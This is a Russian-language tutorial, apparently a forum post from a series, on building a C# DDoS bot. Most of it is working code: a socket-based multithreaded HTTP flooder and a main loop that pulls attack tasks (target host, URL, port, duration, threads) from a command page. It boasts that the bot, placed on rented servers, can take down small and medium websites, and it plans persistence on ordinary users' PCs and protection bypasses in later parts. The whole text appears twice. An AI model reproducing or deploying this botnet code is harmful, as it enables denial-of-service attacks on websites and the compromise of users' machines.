В этой части реализовывать будем HTTP-flood на самом базовом уровне. Создаем класс Ddos и сразу прописываем нужные нам переменные и конструктор:
Код:
private string HostName; // 127.0.0.1
private string Url; // http://127.0.0.1/index.php?god=ims0rry
private int Port; // 80
private bool Toggle = false; // Для отсчета времени ддоса
public Ddos(string Host, string Url, int Port)
{
this.HostName = Host;
this.Url = Url;
this.Port = Port;
}
Для отсчета времени создаем простенький метод таймера:
Код:
private void Timer(int minutes)
{
for(int i = 0; i < minutes * 60; i++)
{
Thread.Sleep(1000);
}
Toggle = false;
}
Далее необходимо разобраться с самой отправкой запроса к серверу. Будем использовать сокеты (System.Net.Sockets):
Код:
private void SendData()
{
IPAddress Host = IPAddress.Parse(HostName);
IPEndPoint Hostep = new IPEndPoint(Host, Port);
while (Toggle)
{
try
{
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sock.Connect(Hostep);
sock.Send(Encoding.UTF8.GetBytes(Url));
sock.Send(Encoding.UTF8.GetBytes("\r\n"));
sock.Close();
}
catch(Exception e)
{
new Thread(SendData).Start();
}
}
}
Теперь под этот метод нужно сделать обертку, которая будет запускать потоки и таймер:
Код:
public void HttpFlood(int duration, int threads)
{
Toggle = true;
while (threads > 0)
{
new Thread(SendData).Start();
threads--;
}
new Thread(() => Timer(duration)).Start();
}
Program.cs
Перед методом Main прописываем переменные:
Код:
private static string Url = ""; //Response:host;url;port;duration;threads
//Example: 54.207.60.36;http://54.207.60.36;80;10;1000
Переменная Url должна содержать ссылку на страницу, где будут выкладываться таски для ботов, то может быть обычный текстовый файл, какая-то hand-made панелька - без разницы. Пример выдачи таска описан в комментарии. Также, самим уже можно прикрутить поддержку мультизадач и отстук в логгер/гейт об успешном принятии таска.
Нам понадобиться метод, отправляющий Http-Get запрос:
Код:
private static String Get(string Link)
{
WebRequest request = WebRequest.Create(Link);
request.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)request).UserAgent = "1M50RRY";
WebResponse response = request.GetResponse();
Stream dataStream = response.GetResponseStream();
StreamReader reader = new StreamReader(dataStream);
return reader.ReadToEnd();
}
В самом Main пропишем цикл на получение таска и его исполнение:
Код:
static void Main(string[] args)
{
while (true)
{
String[] response = Get(Url).Split(';');
try
{
Ddos Task = new Ddos(response[0], response[1], Int32.Parse(response[2]));
Task.HttpFlood(Int32.Parse(response[3]), Int32.Parse(response[4]));
}
catch (Exception e)
{
Thread.Sleep(3000);
}
}
}
Результаты
На данном этапе, разместив бота на 10-100 дедиках, уже можно класть небольшие-средние сайтецы, имея доступ к их родному айпишнику. В следующих частях прикрутим закрепление в системе, для совместимости с обычными User-PC, другие методы ддоса и JSBYPASS.
p.s. 1000 user-pc = 6 000 000 requests/second
Код:
private string HostName; // 127.0.0.1
private string Url; // http://127.0.0.1/index.php?god=ims0rry
private int Port; // 80
private bool Toggle = false; // Для отсчета времени ддоса
public Ddos(string Host, string Url, int Port)
{
this.HostName = Host;
this.Url = Url;
this.Port = Port;
}
Для отсчета времени создаем простенький метод таймера:
Код:
private void Timer(int minutes)
{
for(int i = 0; i < minutes * 60; i++)
{
Thread.Sleep(1000);
}
Toggle = false;
}
Далее необходимо разобраться с самой отправкой запроса к серверу. Будем использовать сокеты (System.Net.Sockets):
Код:
private void SendData()
{
IPAddress Host = IPAddress.Parse(HostName);
IPEndPoint Hostep = new IPEndPoint(Host, Port);
while (Toggle)
{
try
{
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sock.Connect(Hostep);
sock.Send(Encoding.UTF8.GetBytes(Url));
sock.Send(Encoding.UTF8.GetBytes("\r\n"));
sock.Close();
}
catch(Exception e)
{
new Thread(SendData).Start();
}
}
}
Теперь под этот метод нужно сделать обертку, которая будет запускать потоки и таймер:
Код:
public void HttpFlood(int duration, int threads)
{
Toggle = true;
while (threads > 0)
{
new Thread(SendData).Start();
threads--;
}
new Thread(() => Timer(duration)).Start();
}
Program.cs
Перед методом Main прописываем переменные:
Код:
private static string Url = ""; //Response:host;url;port;duration;threads
//Example: 54.207.60.36;http://54.207.60.36;80;10;1000
Переменная Url должна содержать ссылку на страницу, где будут выкладываться таски для ботов, то может быть обычный текстовый файл, какая-то hand-made панелька - без разницы. Пример выдачи таска описан в комментарии. Также, самим уже можно прикрутить поддержку мультизадач и отстук в логгер/гейт об успешном принятии таска.
Нам понадобиться метод, отправляющий Http-Get запрос:
Код:
private static String Get(string Link)
{
WebRequest request = WebRequest.Create(Link);
request.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)request).UserAgent = "1M50RRY";
WebResponse response = request.GetResponse();
Stream dataStream = response.GetResponseStream();
StreamReader reader = new StreamReader(dataStream);
return reader.ReadToEnd();
}
В самом Main пропишем цикл на получение таска и его исполнение:
Код:
static void Main(string[] args)
{
while (true)
{
String[] response = Get(Url).Split(';');
try
{
Ddos Task = new Ddos(response[0], response[1], Int32.Parse(response[2]));
Task.HttpFlood(Int32.Parse(response[3]), Int32.Parse(response[4]));
}
catch (Exception e)
{
Thread.Sleep(3000);
}
}
}
Результаты
На данном этапе, разместив бота на 10-100 дедиках, уже можно класть небольшие-средние сайтецы, имея доступ к их родному айпишнику. В следующих частях прикрутим закрепление в системе, для совместимости с обычными User-PC, другие методы ддоса и JSBYPASS.
p.s. 1000 user-pc = 6 000 000 requests/second